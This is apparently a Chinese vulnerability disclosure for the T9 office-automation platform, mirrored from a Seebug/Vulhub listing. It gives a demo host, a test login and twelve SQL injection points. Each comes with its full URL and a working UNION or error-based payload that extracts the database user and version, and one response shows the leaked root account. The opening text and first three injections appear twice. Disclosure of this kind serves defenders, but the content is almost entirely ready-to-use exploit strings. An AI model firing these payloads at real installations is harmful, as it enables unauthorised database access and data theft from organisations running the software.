VULHUB ™

### 简要描述： T9智能管理平台是基于B/S架构，灵活、稳定、安全、高性能的办公系统。采用自主研发的引擎技术，提供强大的工作流和公文流程管理功能，可完全根据客户需求定制办公门户平台。 ### 详细说明： 测试地址http://t9.go2oa.com/t9/core/frame/webos/index.jsp 测试帐号及密码oa/无 注入1： 漏洞分析： url： http://t9.go2oa.com/t9/t9/core/funcs/message/weixun_share/act/T9WeiXunShareAct/getWeiXunById.act postdata: wxid=110' UNION ALL SELECT NULL,CONCAT(user(),':',version()),NULL,NULL,NULL,NULL,NULL# 注入2： url： http://t9.go2oa.com/t9/t9/core/funcs/diary/act/T9DiaryAct/deleteDia.act postdata: diaIds=2 AND (SELECT 4200 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (4200=4200) THEN 1 ELSE 0 END)),0x716f697271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) 注入3： url： http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9InnerEMailAct/deletM.act?bodyId=3 AND (SELECT 6356 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (6356=6356) THEN 1 ELSE 0 END)),0x71706d6d71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&deType=4&deType=4 [<img...

### 简要描述： T9智能管理平台是基于B/S架构，灵活、稳定、安全、高性能的办公系统。采用自主研发的引擎技术，提供强大的工作流和公文流程管理功能，可完全根据客户需求定制办公门户平台。 ### 详细说明： 测试地址http://t9.go2oa.com/t9/core/frame/webos/index.jsp 测试帐号及密码oa/无 注入1： 漏洞分析： url： http://t9.go2oa.com/t9/t9/core/funcs/message/weixun_share/act/T9WeiXunShareAct/getWeiXunById.act postdata: wxid=110' UNION ALL SELECT NULL,CONCAT(user(),':',version()),NULL,NULL,NULL,NULL,NULL# 注入2： url： http://t9.go2oa.com/t9/t9/core/funcs/diary/act/T9DiaryAct/deleteDia.act postdata: diaIds=2 AND (SELECT 4200 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (4200=4200) THEN 1 ELSE 0 END)),0x716f697271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) 注入3： url： http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9InnerEMailAct/deletM.act?bodyId=3 AND (SELECT 6356 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (6356=6356) THEN 1 ELSE 0 END)),0x71706d6d71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&deType=4&deType=4 [<img src="https://images.seebug.org/upload/201411/14175452b4d269e1ae25fe7cb3a693c6b4c17845.png" alt="屏幕快照 2014-11-14 下午5.54.19.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/14175452b4d269e1ae25fe7cb3a693c6b4c17845.png) 注入4： url： http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9EmailNameAct/saveName.act postdata: name=xxxxxxxxxxx&IS_USE=1&IS_USE1=1&NAME_ID=4' AND (SELECT 5610 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (5610=5610) THEN 1 ELSE 0 END)),0x7166777071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'fKtu'='fKtu 注入5： url： http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9EmailBoxAct/isBoxNameExist.act postdata: boxName=xxxxx' AND (SELECT 4999 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (4999=4999) THEN 1 ELSE 0 END)),0x7161667671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'VnVS'='VnVS&boxId=1 注入6： url： http://t9.go2oa.com /t9/t9/subsys/oa/vote/act/T9VoteTitleAct/selectId2.act?seqId=323' AND (SELECT 2538 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (2538=2538) THEN 1 ELSE 0 END)),0x716c756b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'GhCY'='GhCY 注入7： url： http://t9.go2oa.com /t9/t9/subsys/oa/vote/act/T9VoteTitleAct/deleteVote.act?seqIds=1) AND (SELECT 7548 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (7548=7548) THEN 1 ELSE 0 END)),0x717a716571,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7770=7770 {"rtState":"1", "rtMsrg":"Duplicate entry 'root@127.0.0.11qzqeq1' for key 1", "rtData":""} 注入8： url： http://t9.go2oa.com /t9/t9/subsys/oa/vote/act/T9VoteTitleAct/clonVote.act?seqIds=1) AND (SELECT 7548 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (7548=7548) THEN 1 ELSE 0 END)),0x717a716571,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7770=7770 注入：9 url： http://t9.go2oa.com /t9/t9/subsys/oa/vote/act/T9VoteTitleAct/updateNoTopVote.act?seqIds=1) AND (SELECT 7548 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (7548=7548) THEN 1 ELSE 0 END)),0x717a716571,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7770=7770 注入10： url： http://t9.go2oa.com/t9/t9/core/funcs/news/act/T9NewsShowAct/getDeskNewsAllList.act?type=1323' AND (SELECT 7974 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (7974=7974) THEN 1 ELSE 0 END)),0x716e707471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Awzk'='Awzk post_data: totalRecords=5 注入11： url： http://t9.go2oa.com/t9/t9/core/funcs/workflow/act/T9MyWorkAct/hasWork.act?sortId=1) AND (SELECT 6837 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (6837=6837) THEN 1 ELSE 0 END)),0x7170677971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7897=7897&flowId=562&flowId=562 注入12： url： http://t9.go2oa.com/t9/core/funcs/workflow/flowrun/list/index1.jsp?type=2&sortId=1) AND (SELECT 6837 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (6837=6837) THEN 1 ELSE 0 END)),0x7170677971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7897=7897&skin=&flowId=562 [<img src="https://images.seebug.org/upload/201411/141804136b6152e57a3103d567ad59b76dbc856b.png" alt="屏幕快照 2014-11-14 下午6.03.58.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/141804136b6152e57a3103d567ad59b76dbc856b.png) ### 漏洞证明：